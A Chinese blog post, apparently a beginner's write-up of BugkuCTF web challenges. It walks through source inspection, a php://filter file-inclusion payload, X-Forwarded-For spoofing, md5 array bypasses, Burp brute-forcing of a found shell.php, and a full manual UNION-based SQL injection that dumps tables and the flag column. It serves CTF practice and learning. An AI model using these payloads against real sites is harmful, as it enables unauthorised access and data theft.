欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BugkuCTF writeup

程序员文章站 2022-03-09 22:29:38
...

前言

最近,刚学一点ctf,想找点题做一下,于是同学推荐了bugkuctf平台。做的时候,才发现自己有多水,想把做题过程记录下来,供自己再浏览。

web方面

web2

这道题没啥说的,直接查看源代码就可以得到flag。

计算器

这道题也没什么,直接F12,将button的maxlength值改成2,就可以了。

web基础$_GET

这道题也比较简单,直接get传参就行。
url:http://123.206.87.240:8002/get/?what=flag

web基础$_POST

这道题用post传参,我用的是火狐浏览器的max hackbar(因为hackbar要收费,所以换了一个)。

BugkuCTF writeup

矛盾

这道题是php代码审计,它要求你传入一个num,要求num不是数字,但是还要等于1.这时,就需要知道php中在PHP中,当数字与字符串作比较时,系统会先将字符串转化为数字,再与数字进行比较。字符串在转化成数字时,会取字符串前边的数字,例如:123abc 转化成数字就是123.因此,我们构造1abcd(后边的字母随便啥都行)。

web3

这道题,它会一直弹窗,你直接拒绝弹窗就行,然后查看源代码,就会发现有一行注释,是用ASCII编码的,直接解码,就可以得到flag。
推荐一个解码网站:程序员在线工具

域名解析

其实,之前并没有接触过域名解析,于是就去搜了其他人写的writeup。我就再在这里复述一下。
可以在目录C:\Windows\System32\drivers\etc找到hosts,因为在C盘下无法修改,所以拖到桌面进行修改后在放回C盘。
BugkuCTF writeup
再打开浏览器输入flag.bugku.com,就能发现flag啦。
writeup来源:bugku-web-域名解析(wp)

你必须让他停下

这道题,打开后发现页面一直在刷新,我是直接用burpsuite直接抓包看它的源代码,多抓几次就会发现flag。

本地包含

额。。。不知道为啥我的这道题的网站打不开,以后再写吧。

变量1

这道题又是代码审计,首先它会对你的参数进行正则匹配。但是一个有意思的是它有一个$$args,这时,php有一个变量$GLOBALS,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。于是我们可以传入GLOBALS。便得到一个数组,里边就包含flag。

web5

首先,查看网页源代码,发现有一场串的符号,我们不知道是啥,然后,我猜测可能是一个js代码,于是全部复制下来,到控制台运行一下,果然出来了flag,然后他提示是大写,于是再弄成大写就行了。

头等舱

打开网页,什么都没有,查看源代码,还是什么都没有,只好burp suite进行抓包,查看response,发现flag。

网站被黑

刚开始拿到,没什么想法,啥都尝试了,还是没有地方下手,甚至连robots.txt都试了。嗯~~,robots.txt?是不是要找后台,于是用御剑扫后台,发现了shell.php。
BugkuCTF writeup
密码登陆,直接用burp suite**。最后,密码是hack,拿到flag。

管理员系统

先查看源代码,发现一个base64加密的字符串,解密后是test123。这会不会就是密码?然后,输入admin test123.给我个这:
IP禁止访问,请联系本地管理员登陆,IP已被记录.
然后本地,那肯定是改包,用burp suite抓包,增加X-Forward-For:127.0.0.1,得到flag。

web4

它提示你取看源代码,然后发现一个JavaScript函数,再控制台中解码,得到:

function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a ){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

直接输入密码:67d709b2b54aa2aa648cf6e87a7114f1就可以。

flag在index里

进入网页,发现只有一个链接,直接点进去,观察url有file传参,所以应该是文件包含。于是,构造file=php://filter/read=convert.base64-encode/resource=index.php。
这个payload的含义:php://filter是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
于是我们就可以得到index.php的源代码(base64加密的),再base64解密,就可以找到flag。
base64解密:BASE64加密解密

输入密码查看flag

输入密码,提示密码是五位数,那么范围就是00000-99999,直接burp suite进行**。
最后密码是:13579。

点击一百万次

首先,你可以点击一百万次来获得flag,不过那是不可能的。它提示JavaScript,于是就看一下源代码,找到一段js代码。查看后发现,它是用post来传参clicks,根据clicks数来判断的。那么直接post一个clicks=1000000就可以得到flag。(我用的是火狐的max hackbar来post传参的。)

备份是个好习惯

进去后有一串字符,看起来像是md5加密,于是解密后是空密码,这就有点尴尬了。再看一下备份,试了一下index.php.bak。没想到真把他的备份给下载下来了。(在这里还是推荐用一下脚本去扫一下)。源码是:
BugkuCTF writeup
11行strstr获得URI从’?‘往后(包括’?’)的字符串,12行去掉’?’,13行把字符串中的’key’替换为空。
于是我们可以构造?kkeyey1[]=1&kkeyey2[]=0来绕过md5验证。就得到了flag。

成绩单

进入后,就是一个查成绩的输入框。当时,就想到了sql注入,于是先输入1’ ,发现没有返回值,再输入1 ’ #就有了返回值,那肯定存在单引号闭合。于是就可以进行注入了。(我用的是手工注入)
第一步:
1 ’ order by 5 # 没有输出。
1 ’ order by 4 # 有输出。
于是可以判断有四个字段。
第二步:
’ union select 1,2,3,4 # 有2,3,4回显。
’ union select 1,2,3,database()# 爆出数据库名:skctf_flag
第三步:
’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=‘skctf_flag’#
爆出表名:fl4g和sc。很明显,flag肯定在fl4g中。
第四步:
’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=‘fl4g’#
爆出列名: skctf_flag
第五步:
’ union select 1,2,3,skctf_flag from fl4g#
就得到了flag。

一些朋友也可以用sqlmap来进行自动化注入。

结语

持续更新中。

相关标签: BugkuCtf writeup